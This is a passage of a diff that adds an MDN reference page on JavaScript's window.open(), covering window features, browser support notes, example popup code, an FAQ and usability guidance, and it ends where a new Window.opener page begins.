Note on the use of window.open to reopen an existing window with name strWindowName : This functionality is not valid for all browsers and more with variable conditions. Firefox (50.0.1) functions as described: from the same domain+port reopen with same name will access the previously created window. Google Chrome (55.0.2883.87 m ) on the other hand will do it only from the same parent (as if the window was created dependent, which is the "opener"). This is a wide limitation and generates unbelievable complexity of development. Firefox (51.) gets the handle but cannot run any Element.focus() while Chrome can run focus() from opener to child but not between siblings nor, reverse, from child to opener. This function is the lonely key to get back the handle on a window if the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle). For now 10/01/2017 the differencies of behavior found recently have not still been tested for others Browsers.  

+
+ +

Window features

+ +

strWindowFeatures is an optional string containing a comma-separated list of requested features of the new window. After a window is opened, JavaScript can't be used to change the features. If strWindowName does not specify an existing window and the strWindowFeatures parameter is not provided (or if the strWindowFeatures parameter is an empty string), then the new secondary window will render the default toolbars of the main window.

+ +

If the strWindowFeatures parameter is used and no size features are defined, then the new window dimensions will be the same as the dimensions of the most recently rendered window.

+ +

If the strWindowFeatures parameter is used and if no position features are defined, then the left and top coordinates of the new window dimension will be 22 pixels from where the most recently rendered window was. An offset is universally implemented by browser manufacturers (it is 29 pixels in IE6 SP2 with the default theme) and its purpose is to help users to notice new windows opening. If the most recently used window was maximized, then there is no offset: the new window will be maximized as well.

+ +

If the strWindowFeatures parameter is used, the features that are not listed will be disabled or removed (except titlebar and close, which are by default yes).

+ +
+

Tip: If using the strWindowFeatures parameter, only list the features to be enabled or rendered; the others (except titlebar and close) will be disabled or removed. Note that in some browsers, users can override the strWindowFeatures settings and enable (or prevent the disabling of) features.

+
+ +

Firefox Toolbars Illustration

+ +

Position and size features

+ +
{{gecko_minversion_note("1.9.2", "Starting in Gecko 1.9.2 (Firefox 3.6), overriding the position of a window using window features will not change the persisted values saved by the session store feature. That means the next time the window is opened, it will still open in the saved location.")}}
+ +

Note on position and dimension error correction

+ +
{{bug(176320)}}
+ +

Note on precedence

+ +
+
left
+
Specifies the distance the new window is placed from the left side of the work area for applications of the user's operating system to the leftmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
top
+
Specifies the distance the new window is placed from the top side of the work area for applications of the user's operating system to the topmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
height
+
Specifies the height of the content area, viewing area of the new secondary window in pixels. The height value includes the height of the horizontal scrollbar if present. The minimum required value is 100.
+
Note on outerHeight versus height (or innerHeight)
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
width
+
Specifies the width of the content area, viewing area of the new secondary window in pixels. The width value includes the width of the vertical scrollbar if present. The width value does not include the sidebar if it is expanded. The minimum required value is 100.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
screenX
+
Deprecated. Same as left but only supported by Netscape and Mozilla-based browsers.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
screenY
+
Deprecated. Same as top but only supported by Netscape and Mozilla-based browsers.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
centerscreen
+
Centers the window in relation to its parent's size and position. Requires chrome=yes.
+
outerHeight
+
Specifies the height of the whole browser window in pixels. This outerHeight value includes any/all present toolbar, window horizontal scrollbar (if present) and top and bottom window resizing borders. Minimal required value is 100.
+
Note: since titlebar is always rendered, then requesting outerHeight=100 will make the innerHeight of the browser window under the minimal 100 pixels.
+
Note on outerHeight versus height (or innerHeight)
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
outerWidth
+
Specifies the width of the whole browser window in pixels. This outerWidth value includes the window vertical scrollbar (if present) and left and right window resizing borders.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
innerHeight
+
Same as height but only supported by Netscape and Mozilla-based browsers. Specifies the height of the content area, viewing area of the new secondary window in pixels. The innerHeight value includes the height of the horizontal scrollbar if present. Minimal required value is 100.
+
Note on outerHeight versus height (or innerHeight)
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
innerWidth
+
Same as width but only supported by Netscape and Mozilla-based browsers. Specifies the width of the content area, viewing area of the new secondary window in pixels. The innerWidth value includes the width of the vertical scrollbar if present. The innerWidth value does not include the sidebar if it is expanded. Minimal required value is 100.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

Toolbar and chrome features

+ +
+
NOTE: All features can be set to yes or 1, or just be present to be "on". Set them to no or 0, or in most cases just omit them, to be "off".
+
Example: "status=yes", "status=1", and "status" have identical results.
+
menubar
+
If this feature is on, then the new secondary window renders the menubar.
+
Mozilla and Firefox users can force new windows to always render the menubar by setting dom.disable_window_open_feature.menubar to true in about:config or in their user.js file.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
toolbar
+
If this feature is on, then the new secondary window renders the Navigation Toolbar (Back, Forward, Reload, Stop buttons). In addition to the Navigation Toolbar, Mozilla-based browsers will render the Tab Bar if it is visible, present in the parent window. (If this feature is set to no all toolbars in the window will be invisible, for example extension toolbars).
+
Mozilla and Firefox users can force new windows to always render the Navigation Toolbar by setting dom.disable_window_open_feature.toolbar to true in about:config or in their user.js file.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
location
+
If this feature is on, then the new secondary window renders the Location bar in Mozilla-based browsers. MSIE 5+ and Opera 7.x renders the Address Bar.
+
Mozilla and Firefox users can force new windows to always render the location bar by setting dom.disable_window_open_feature.location to true in about:config or in their user.js file. {{Fx_minversion_note(3, "In Firefox 3, dom.disable_window_open_feature.location now defaults to true, forcing the presence of the Location Bar much like in IE7. See bug 337344 for more information.")}}
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
+
personalbar
+
If this feature is on, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if such toolbar is visible, present in the parent window.
+
Mozilla and Firefox users can force new windows to always render the Personal Toolbar/Bookmarks toolbar by setting dom.disable_window_open_feature.personalbar to true in about:config or in their user.js file.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
directories {{obsolete_inline("2")}}
+
Obsolete synonym of personalbar. In IE, it rendered the Links bar. Supported in Gecko up to 1.9.2 and in IE up to 6.
+
status
+
If this feature is on, then the new secondary window has a status bar. Users can force the rendering of status bar in all Mozilla-based browsers, in MSIE 6 SP2 (Note on status bar in XP SP2) and in Opera 6+. The default preference setting in recent Mozilla-based browser releases and in Firefox 1.0 is to force the presence of the status bar.
+
Note on status bar
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

Window functionality features

+ +
+
attention {{NonStandardBadge}}
+
If this feature is specified, the window is able to open even if another application is already in the foreground. This feature is for Firefox OS applications only, and is currently restricted to certified applications. See {{SectionOnPage("/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/App_permissions", "Internal (Certified) app permissions")}} for more information.
+
Supported in:
+
dependent
+
If on, the new window is said to be dependent of its parent window. A dependent window closes when its parent window closes. A dependent window is minimized on the Windows task bar only when its parent window is minimized. On Windows platforms, a dependent window does not show on the task bar. A dependent window also stays in front of the parent window.
+
Dependent windows are not implemented on MacOS X, this option will be ignored.
+
The dependent feature is currently under revision to be removed ({{Bug(214867)}})
+
In MSIE 6, the nearest equivalent to this feature is the showModelessDialog() method.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
minimizable
+
This setting can only apply to dialog windows; "minimizable" requires dialog=yes. If minimizable is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and minimizable=no will be ignored.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
fullscreen
+
Do not use. Not implemented in Mozilla. There are no plans to implement this feature in Mozilla.
+
This feature no longer works in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x.
+
fullscreen always upsets users with large monitor screen or with dual monitor screen. Forcing fullscreen onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users.
+
Note on fullscreen
+
Supported in: Internet Explorer 5+
+
fullscreen does not really work in MSIE 6 SP2.
+
noopener
+
If this feature is set, the newly-opened window will open as normal, except that it will not have access back to the originating window (via {{domxref("Window.opener")}} — it returns null). In addition, the window.open() call will also return null, so the originating window will not have access to the new one either.  This is useful for preventing untrusted sites opened via window.open() from tampering with the originating window, and vice versa.
+
Note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a new window/tab.
+
+ This is supported in modern browsers including Chrome, and Firefox 52+. See rel="noopener" for more information and for browser compatibility details, including information about ancillary effects.
+
resizable
+
If this feature is on, the new secondary window will be resizable.
+
Note: Starting with version 1.4, Mozilla-based browsers have a window resizing grippy at the right end of the status bar, this ensures that users can resize the browser window even if the web author requested this secondary window to be non-resizable. In such case, the maximize/restore icon in the window's titlebar will be disabled and the window's borders won't allow resizing but the window will still be resizable via that grippy in the status bar. +

Starting with Firefox 3, secondary windows are always resizable ({{Bug(177838)}})

+ +
+

Tip: For accessibility reasons, it is strongly recommended to set this feature always on

+
+
+
Mozilla and Firefox users can force new windows to be easily resizable by setting dom.disable_window_open_feature.resizable to true in about:config or in their user.js file.
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
scrollbars
+
If this feature is on, the new secondary window will show horizontal and/or vertical scrollbar(s) if the document doesn't fit into the window's viewport. +
+

Tip: For accessibility reasons, it is strongly encouraged to set this feature always on.

+
+
+
Mozilla and Firefox users can force this option to be always enabled for new windows by setting {{pref("dom.disable_window_open_feature.scrollbars")}} to true in about:config or in their user.js file. Starting in Firefox 49, this feature is on by default, and the {{pref("dom.disable_window_open_feature.scrollbars")}} preference has been removed.
+
Note on scrollbars
+
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

Features requiring privileges

+ +

The following features require the UniversalBrowserWrite privilege, otherwise they will be ignored. Chrome scripts have this privilege automatically, others have to request it from the PrivilegeManager.

+ +
+
chrome
+
Note: Starting with Mozilla 1.7/Firefox 0.9, this feature requires the UniversalBrowserWrite privilege ({{Bug(244965)}}). Without this privilege, it is ignored.
+
If on, the page is loaded as window's only content, without any of the browser's interface elements. There will be no context menu defined by default and none of the standard keyboard shortcuts will work. The page is supposed to provide a user interface of its own, usually this feature is used to open XUL documents (standard dialogs like the JavaScript Console are opened this way).
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
dialog
+
Note: Starting with Firefox 44, this feature can only be used with chrome privileges. If content attempts to toggle this feature, it will be ignored.
+
MenuSystemCommands.png The dialog feature removes all icons (restore, minimize, maximize) from the window's titlebar, leaving only the close button. Mozilla 1.2+ and Netscape 7.1 will render the other menu system commands (in FF 1.0 and in NS 7.0x, the command system menu is not identified with the Firefox/NS 7.0x icon on the left end of the titlebar: that's probably a bug. You can access the command system menu with a right-click on the titlebar). Dialog windows are windows which have no minimize system command icon and no maximize/restore down system command icon on the titlebar nor in correspondent menu item in the command system menu. They are said to be dialog because their normal, usual purpose is to only notify info and to be dismissed, closed. On Mac systems, dialog windows have a different window border and they may get turned into a sheet.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
modal
+
Note: Starting with Mozilla 1.2.1, this feature requires the UniversalBrowserWrite privilege ({{Bug(180048)}}). Without this privilege, it is ignored.
+
If on, the new window is said to be modal. The user cannot return to the main window until the modal window is closed. A typical modal window is created by the alert() function.
+
The exact behavior of modal windows depends on the platform and on the Mozilla release version. +
+

Note: As of {{Gecko("1.9")}}, the Internet Explorer equivalent to this feature is the {{domxref("window.showModalDialog()")}} method. For compatibility reasons, it's now supported in Firefox. Note also that starting in {{Gecko("2.0")}}, you can use {{domxref("window.showModalDialog()")}} without UniversalBrowserWrite privileges.

+
+
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
titlebar
+
By default, all new secondary windows have a titlebar. If set to no or 0, this feature removes the titlebar from the new secondary window.
+
Mozilla and Firefox users can force new windows to always render the titlebar by setting
+ dom.disable_window_open_feature.titlebar
+ to true in about:config or in their user.js file.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
alwaysRaised
+
If on, the new window will always be displayed on top of other browser windows, regardless of whether it is active or not.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
alwaysLowered
+
If on, the new created window floats below, under its own parent when the parent window is not minimized. alwaysLowered windows are often referred as pop-under windows. The alwaysLowered window can not be on top of the parent but the parent window can be minimized. In NS 6.x, the alwaysLowered window has no minimize system command icon and no restore/maximize system command.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
z-lock
+
Same as alwaysLowered.
+
close
+
When set to no or 0, this feature removes the system close command icon and system close menu item. It will only work for dialog windows (dialog feature set). close=no will override minimizable=yes.
+
Mozilla and Firefox users can force new windows to always have a close button by setting
+ dom.disable_window_open_feature.close
+ to true in about:config or in their user.js file.
+
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
+
+ +

The position and size feature elements require a number to be set. The toolbars and window functionalities can be set with a yes or no; you can use 1 instead of yes and 0 instead of no. The toolbar and functionality feature elements also accept the shorthand form: you can turn a feature on by simply listing the feature name in the features string. If you supply the features parameter, then the titlebar and close are still yes by default, but the other features which have a yes/no choice will be no by default and will be turned off.

+ +

Example:

+ +
var windowObjectReference; // global variable
+
+function openRequestedPopup() {
+  windowObjectReference = window.open(
+    "http://www.domainname.ext/path/ImgFile.png",
+    "DescriptiveWindowName",
+    "width=420,height=230,resizable,scrollbars=yes,status=1"
+  );
+}
+ +

In this example, the window will be resizable, it will render scrollbar(s) if needed, if the content overflows requested window dimensions and it will render the status bar. It will not render the menubar nor the location bar. Since the author knew about the size of the image (400 pixels wide and 200 pixels high), they added the margins applied to the root element in MSIE 6 which is 15 pixels for top margin, 15 pixels for the bottom margin, 10 pixels for the left margin and 10 pixels for the right margin.

+ +

Best practices

+ +
<script type="text/javascript">
+var windowObjectReference = null; // global variable
+
+function openFFPromotionPopup() {
+  if(windowObjectReference == null || windowObjectReference.closed)
+  /* if the pointer to the window object in memory does not exist
+     or if such pointer exists but the window was closed */
+
+  {
+    windowObjectReference = window.open("http://www.spreadfirefox.com/",
+   "PromoteFirefoxWindowName", "resizable,scrollbars,status");
+    /* then create it. The new window will be created and
+       will be brought on top of any other window. */
+  }
+  else
+  {
+    windowObjectReference.focus();
+    /* else the window reference must exist and the window
+       is not closed; therefore, we can bring it back on top of any other
+       window with the focus() method. There would be no need to re-create
+       the window or to reload the referenced resource. */
+  };
+}
+</script>
+
+(...)
+
+<p><a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindowName"
+ onclick="openFFPromotionPopup(); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Promote Firefox adoption</a></p>
+
+ +

The above code solves a few usability problems related to links opening secondary window. The purpose of the return false in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName".

+ +

More reading on the use of the target attribute:

+ +

HTML 4.01 Target attribute specifications

+ +

How do I create a link that opens a new window?

+ +

You can also parameterize the function to make it versatile, functional in more situations, therefore re-usable in scripts and webpages:

+ +
<script type="text/javascript">
+var windowObjectReference = null; // global variable
+
+function openRequestedPopup(strUrl, strWindowName) {
+  if(windowObjectReference == null || windowObjectReference.closed) {
+    windowObjectReference = window.open(strUrl, strWindowName,
+           "resizable,scrollbars,status");
+  } else {
+    windowObjectReference.focus();
+  };
+}
+</script>
+
+(...)
+
+<p><a
+ href="http://www.spreadfirefox.com/"
+ target="PromoteFirefoxWindow"
+ onclick="openRequestedPopup(this.href, this.target); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Promote Firefox adoption</a></p>
+
+ +

You can also make such function able to open only 1 secondary window and to reuse such single secondary window for other links in this manner:

+ +
<script type="text/javascript">
+var windowObjectReference = null; // global variable
+var PreviousUrl; /* global variable which will store the
+                    url currently in the secondary window */
+
+function openRequestedSinglePopup(strUrl) {
+  if(windowObjectReference == null || windowObjectReference.closed) {
+    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+         "resizable,scrollbars,status");
+  } else if(PreviousUrl != strUrl) {
+    windowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+      "resizable=yes,scrollbars=yes,status=yes");
+    /* if the resource to load is different,
+       then we load it in the already opened secondary window and then
+       we bring such window back on top/in front of its parent window. */
+    windowObjectReference.focus();
+  } else {
+    windowObjectReference.focus();
+  };
+
+  PreviousUrl = strUrl;
+  /* explanation: we store the current url in order to compare url
+     in the event of another call of this function. */
+}
+</script>
+
+(...)
+
+<p><a
+ href="http://www.spreadfirefox.com/"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Promote Firefox adoption</a></p>
+
+<p><a
+ href="http://www.mozilla.org/support/firefox/faq"
+ target="SingleSecondaryWindowName"
+ onclick="openRequestedSinglePopup(this.href); return false;"
+ title="This link will create a new window or will re-use an already opened one"
+>Firefox FAQ</a></p>
+
+ +

FAQ

+ +
+
How can I prevent the confirmation message asking the user whether they want to close the window?
+
You can not. New windows not opened by javascript can not as a rule be closed by JavaScript. The JavaScript Console in Mozilla-based browsers will report the warning message: "Scripts may not close windows that were not opened by script." Otherwise the history of URLs visited during the browser session would be lost.
+
More on the window.close() method
+
How can I bring back the window if it is minimized or behind another window?
+
First check for the existence of the window object reference of such window and if it exists and if it has not been closed, then use the focus() method. There is no other reliable way. You can examine an example explaining how to use the focus() method.
+
How do I force a maximized window?
+
You cannot. All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users.
+
How do I turn off window resizability or remove toolbars?
+
You cannot force this. Users with Mozilla-based browsers have absolute control over window functionalities like resizability, scrollability and toolbars presence via user preferences in about:config. Since your users are the ones who are supposed to use such windows (and not you, being the web author), the best is to avoid interfering with their habits and preferences. We recommend to always set the resizability and scrollbars presence (if needed) to yes to insure accessibility to content and usability of windows. This is in the best interests of both the web author and the users.
+
How do I resize a window to fit its content?
+
You can not reliably because the users can prevent the window from being resized by unchecking the Edit/Preferences/Advanced/Scripts & Plug-ins/Allow Scripts to/ Move or resize existing windows checkbox in Mozilla or Tools/Options.../Content tab/Enable Javascript/Advanced button/Move or resize existing windows checkbox in Firefox or by setting dom.disable_window_move_resize to true in about:config or by editing accordingly their user.js file.
+
In general, users usually disable moving and resizing of existing windows because allowing authors' scripts to do so has been abused overwhelmingly in the past and the rare scripts that do not abuse such feature are often wrong, inaccurate when resizing the window. 99% of all those scripts disable window resizability and disable scrollbars when in fact they should enable both of these features to allow a cautious and sane fallback mechanism if their calculations are wrong.
+
The window method sizeToContent() is also disabled if the user unchecks the preference Move or resize existing windows checkbox. Moving and resizing a window remotely on the user's screen via script will very often annoy the users, will disorient the user, and will be wrong at best. The web author expects to have full control of (and can decide about) every position and size aspects of the users' browser window ... which is simply not true.
+
How do I open a referenced resource of a link in a new tab? or in a specific tab?
+
To open a resource in a new tab see Tabbed browser. Some Code snippets are available. If you are using the SDK, tabs are handled a bit differently
+
K-meleon 1.1, a Mozilla-based browser, gives complete control and power to the user regarding how links are opened. Only the user can set his advanced preferences to do that. Some advanced extensions also give Mozilla and Firefox a lot of power over how referenced resources are loaded.
+
In a few years, the target property of the CSS3 hyperlink module may be implemented (if CSS3 Hyperlink module as it is right now is approved). And even if and when this happens, you can expect developers of browsers with tab-browsing to give the user entire veto power and full control over how links can open web pages. How to open a link should always be entirely under the control of the user.
+
How do I know whether a window I opened is still open?
+
You can test for the existence of the window object reference which is the returned value in case of success of the window.open() call and then verify that windowObjectReference.closed return value is false.
+
How can I tell when my window was blocked by a popup blocker?
+
With the built-in popup blockers of Mozilla/Firefox and Internet Explorer 6 SP2, you have to check the return value of window.open(): it will be null if the window wasn't allowed to open. However, for most other popup blockers, there is no reliable way.
+
What is the JavaScript relationship between the main window and the secondary window?
+
The window.open() method gives a main window a reference to a secondary window; the opener property gives a secondary window a reference to its main window.
+
I can not access the properties of the new secondary window. I always get an error in the javascript console saying "Error: uncaught exception: Permission denied to get property <property_name or method_name>. Why is that?
+
It is because of the cross-domain script security restriction (also referred as the "Same Origin Policy"). A script loaded in a window (or frame) from a distinct origin (domain name) cannot get nor set properties of another window (or frame) or the properties of any of its HTML objects coming from another distinct origin (domain name). Therefore, before executing a script targeting a secondary window, the browser in the main window will verify that the secondary window has the same domain name.
+
More reading on the cross-domain script security restriction: http://www.mozilla.org/projects/secu...me-origin.html
+
+ +

Usability issues

+ +

Avoid resorting to window.open()

+ +

Generally speaking, it is preferable to avoid resorting to window.open() for several reasons:

+ + + + + +

If you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines:

+ + + +

"javascript:" links break accessibility and usability of webpages in every browser.

+ + + +

Further reading:

+ + + +

Never use <a href="#" onclick="window.open(...);">

+ +

Such pseudo-link also breaks accessibility of links. Always use a real URL for the href attribute value so that if javascript support is disabled or inexistent or if the user agent does not support opening of secondary window (like MS-Web TV, text browsers, etc), then such user agents will still be able to load the referenced resource according to its default mode of opening/handling a referenced resource. This form of code also interferes with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, Ctrl+Enter on links, "mouse gestures" features.

+ + + +

Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.

+ +

The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled).

+ +
+

"Users often don't notice that a new window has opened, especially if they are using a small monitor where the windows are maximized to fill up the screen. So a user who tries to return to the origin will be confused by a grayed out Back button."
+ quote from The Top Ten New Mistakes of Web Design: 2. Opening New Browser Windows, Jakob Nielsen, May 1999

+
+ +

When extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "background" or not).

+ +

References

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Example "New Window" Icons & Cursors
New window icon from yahoo.comNew window icon from microsoft.comNew window icon from webaim.orgNew window icon from sun.com
New window icon from bbc.co.ukNew window icon from Accessible Internet SolutionsNew window icon from accessify.comNew window icon from webstyleguide.com
New window icon from an unknown sourceNew window icon from an unknown sourceNew window icon from an unknown sourceNew window icon from gtalbot.org
New window cursor from draig.deNew window cursor from mithgol.ru
+ +

Always use the target attribute

+ +

If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents which can not create new windows, like MS Web TV, will fetch the referenced resource and append it at the end of the current document. The goal and the idea is to try to provide - not impose - to the user a way to open the referenced resource, a mode of opening the link. Your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user.

+ +

Do not use target="_blank"

+ +

Always provide a meaningful name to your target attribute and try to reuse such target attribute in your page so that a click on another link may load the referenced resource in an already created and rendered window (therefore speeding up the process for the user) and therefore justifying the reason (and user system resources, time spent) for creating a secondary window in the first place. Using a single target attribute value and reusing it in links is much more user resources friendly as it only creates one single secondary window which is recycled. On the other hand, using "_blank" as the target attribute value will create several new and unnamed windows on the user's desktop which can not be recycled, reused. In any case, if your code is well done, it should not interfere with the user's final choice but rather merely offer him more choices, more ways to open links and more power to the tool he's using (a browser).

+ +

Glossary

+ +
+
Opener window, parent window, main window, first window
+
Terms often used to describe or to identify the same window. It is the window from which a new window will be created. It is the window on which the user clicked a link which lead to the creation of another, new window.
+
Sub-window, child window, secondary window, second window
+
Terms often used to describe or to identify the same window. It is the new window which was created.
+
Unrequested popup windows
+
Script-initiated windows opening automatically without the user's consent.
+
+ +

Specification

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'window-object.html#dom-open', 'Window.open()')}}{{Spec2('HTML WHATWG')}} 
{{ SpecName('CSSOM View', '#the-features-argument-to-the-open()-method', 'The features argument to the open() method') }}{{ Spec2('CSSOM View') }}Defines the effect of the features argument
+ +

Browser Compatibility

+ + + +

{{Compat("api.Window.open")}}

+ +

Notes

+ +

Note on precedence

+ +

In cases where left and screenX (and/or top and screenY) have conflicting values, then left and top have precedence over screenX and screenY respectively. If left and screenX (and/or top and screenY) are defined in the features list, then left (and/or top) will be honored and rendered. In the following example the new window will be positioned at 100 pixels from the left side of the work area for applications of the user's operating system, not at 200 pixels.

+ +
windowObjectReference = window.open(
+  "http://news.bbc.co.uk/",
+  "BBCWorldNewsWindowName",
+  "left=100,screenX=200,resizable,scrollbars,status"
+);
+ +

If left is set but top has no value and screenY has a value, then left and screenY will be the coordinate positioning values of the secondary window.

+ +

outerWidth has precedence over width and width has precedence over innerWidth. outerHeight has precedence over height and height has precedence over innerHeight. In the following example, Mozilla-browsers will create a new window with an outerWidth of 600 pixels wide and will ignore the request of a width of 500 pixels and will also ignore the request of an innerWidth of 400 pixels.

+ +
windowObjectReference = window.open(
+  "http://www.wwf.org/",
+  "WWildlifeOrgWindowName",
+  "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status"
+);
+ +

Note on position and dimension error correction

+ +

Requested position and requested dimension values in the features list will not be honored and will be corrected if any of such requested value does not allow the entire browser window to be rendered within the work area for applications of the user's operating system. No part of the new window can be initially positioned offscreen. This is by default in all Mozilla-based browser releases.

+ +

MSIE 6 SP2 has a similar error correction mechanism but it is not activated by default in all security levels: a security setting can disable such error correction mechanism.

+ +

Note on scrollbars

+ +

When content overflows window viewport dimensions, then scrollbar(s) (or some scrolling mechanism) are necessary to ensure that content can be accessed by users. Content can overflow window dimensions for several reasons which are outside the control of web authors:

+ + + +

Note on status bar

+ +

You should assume that a large majority of browsers will have the status bar or that a large majority of users will want to force the status bar presence: best is to always set this feature to yes. Also, if you specifically request to remove the status bar, then Firefox users will not be able to view the Site Navigation toolbar if it is installed. In Mozilla and in Firefox, all windows with a status bar have a window resizing grippy at its right-most side. The status bar also provides info on http connection, hypertext resource location, download progress bar, encryption/secure connection info with SSL connection (displaying a yellow padlock icon), internet/security zone icons, privacy policy/cookie icon, etc. Removing the status bar usually removes a lot of functionality, features and information considered useful (and sometimes vital) by the users.

+ +

Note on security issues of the status bar presence

+ +

In MSIE 6 for XP SP2: For windows opened using window.open():

+ +
+

"For windows opened using window.open():
+ Expect the status bar to be present, and code for it. The status bar will be on by default and is 20-25 pixels in height. (...)"
+ quote from Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2

+
+ +
+

"(...) windows that are created using the window.open() method can be called by scripts and used to spoof a user interface or desktop or to hide malicious information or activity by sizing the window so that the status bar is not visible.
+ Internet Explorer windows provide visible security information to the user to help them ascertain the source of the Web page and the security of the communication with that page. When these elements are not in view, the user might think they are on a more trusted page or interacting with a system process when they are actually interacting with a malicious host. (...)
+ Script-initiated windows will be displayed fully, with the Internet Explorer title bar and status bar. (...)
+ Script management of Internet Explorer status bar
+ Detailed description
+ Internet Explorer has been modified to not turn off the status bar for any windows. The status bar is always visible for all Internet Explorer windows. (...) Without this change, windows that are created using the window.open() method can be called by scripts and spoof a user interface or desktop or hide malicious information or activity by hiding important elements of the user interface from the user.
+ The status bar is a security feature of Internet Explorer windows that provides Internet Explorer security zone information to the user. This zone cannot be spoofed (...)"
+ quote from Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions

+
+ +

Note on fullscreen

+ +

In MSIE 6 for XP SP2:

+ + + +

References:

+ + + +

Note on outerHeight versus height

+ +

innerHeight vs outerHeight illustration

+ +

Note on refreshing vs. opening a new window/tab

+ +

If the strWindowName parameter is omitted, a new window or tab is opened. If a window with the same name already exists, the existing window is refreshed.

+ +
//Always opens a new window/tab
+window.open("map.php");
+
+//Refreshes an existing window/tab that was opened with the same name, if one exists
+window.open("map.php", "BiggerMap");
+ +

Tutorials

+ + + +

References

+ + diff --git a/files/ko/web/api/window/opener/index.html b/files/ko/web/api/window/opener/index.html new file mode 100644 index 0000000000..78dc86c861 --- /dev/null +++ b/files/ko/web/api/window/opener/index.html @@ -0,0 +1,52 @@ +--- +title: Window.opener +slug: Web/API/Window/opener +tags: + - API + - HTML DOM + - Property + - Reference + - Window +translation_of: Web/API/Window/opener +--- +
{{APIRef("HTML DOM")}}
+ +

